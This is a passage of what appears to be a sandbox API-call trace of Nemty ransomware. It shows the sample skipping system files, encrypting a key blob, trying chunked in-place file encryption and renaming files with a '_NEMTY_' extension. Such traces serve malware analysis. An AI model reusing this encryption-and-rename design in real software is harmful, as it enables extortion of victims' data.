dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0211.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0211.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0211.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0211.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0211.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0211.175] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25737, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-KSCpc-EUC", cAlternateFileName="UCS2-K~1")) returned 1 [0211.175] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2=".") returned 1 [0211.175] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="..") returned 1 [0211.175] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="...") returned 1 [0211.175] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="windows") returned -1 [0211.175] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="$RECYCLE.BIN") returned 1 [0211.175] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="rsa") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="NTDETECT.COM") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="ntldr") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="MSDOS.SYS") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="IO.SYS") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="boot.ini") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="boot.ini") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="AUTOEXEC.BAT") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="ntuser.dat") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="desktop.ini") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="CONFIG.SYS") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="RECYCLER") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="BOOTSECT.BAK") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="bootmgr") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="programdata") returned 1 [0211.176] lstrcmpiW (lpString1="UCS2-KSCpc-EUC", lpString2="appdata") returned 1 [0211.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCpc-EUC", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCpc-EUC", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-KSCpc-EUC", lpUsedDefaultChar=0x0) returned 14 [0211.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCpc-EUC", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCpc-EUC", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-KSCpc-EUC", lpUsedDefaultChar=0x0) returned 14 [0211.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCpc-EUC", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCpc-EUC", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-KSCpc-EUC", lpUsedDefaultChar=0x0) returned 14 [0211.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCpc-EUC", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCpc-EUC", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-KSCpc-EUC", lpUsedDefaultChar=0x0) returned 14 [0211.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0211.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0211.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0211.176] Sleep (dwMilliseconds=0x5) [0211.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31845a10, dwHighDateTime=0x1d561e8)) [0211.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31845a10, dwHighDateTime=0x1d561e8)) [0211.191] GetLastError () returned 0x5 [0211.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0211.191] GetLastError () returned 0x5 [0211.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0211.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.191] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0211.191] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0211.191] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0211.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0211.191] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="RU5sm64vL2nlNS5lmeoL9ysqoea+iZWa8Ae6mzwMXA1axopmc3l/JrGJJPipe05E\r\nmv2b+YEMjVzfy5+e7AiHUWVl1mFJ0OCvCx8QUFyMPZ7jPMqTB9rWHnOfSosvNab/\r\ngTqYt545IXnx5oBpTjDJjRFgLDk9csC45YRw8jzRCdDbn35/M2INlB4smb8WWGZE\r\nsmRgWKzo+6woTWtQZHCyQKwbgz6vUG6tPo1/ke7IzyB68Ds36TqJa3377XMgZCxt\r\nxNjTlneykWdoKSEa2hUN5aqvmjPx99/XRpkHRnK3bClyaCP7m0RD/MX4UZRcJKQK\r\n3DUKJitkK0D/oDydn6IFqw==\r\n", pcchString=0x653e91c) returned 1 [0211.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0211.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0211.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0211.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0211.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0211.191] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscpc-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.192] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0211.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0211.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.192] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.201] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.201] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.211] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.211] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.268] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.289] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0211.301] CloseHandle (hObject=0xffffffff) returned 0 [0211.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0211.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0211.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0211.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0211.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0211.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0211.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.302] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscpc-euc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscpc-euc._nemty_kgobjgd_")) returned 0 [0211.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0211.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0211.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0211.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0211.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0211.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0211.302] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UCS2-H", cAlternateFileName="UNICNS~2")) returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2=".") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="..") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="...") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="windows") returned -1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="$RECYCLE.BIN") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="rsa") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="NTDETECT.COM") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="ntldr") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="MSDOS.SYS") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="IO.SYS") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="boot.ini") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="boot.ini") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="AUTOEXEC.BAT") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="ntuser.dat") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="desktop.ini") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="CONFIG.SYS") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="RECYCLER") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="BOOTSECT.BAK") returned 1 [0211.302] 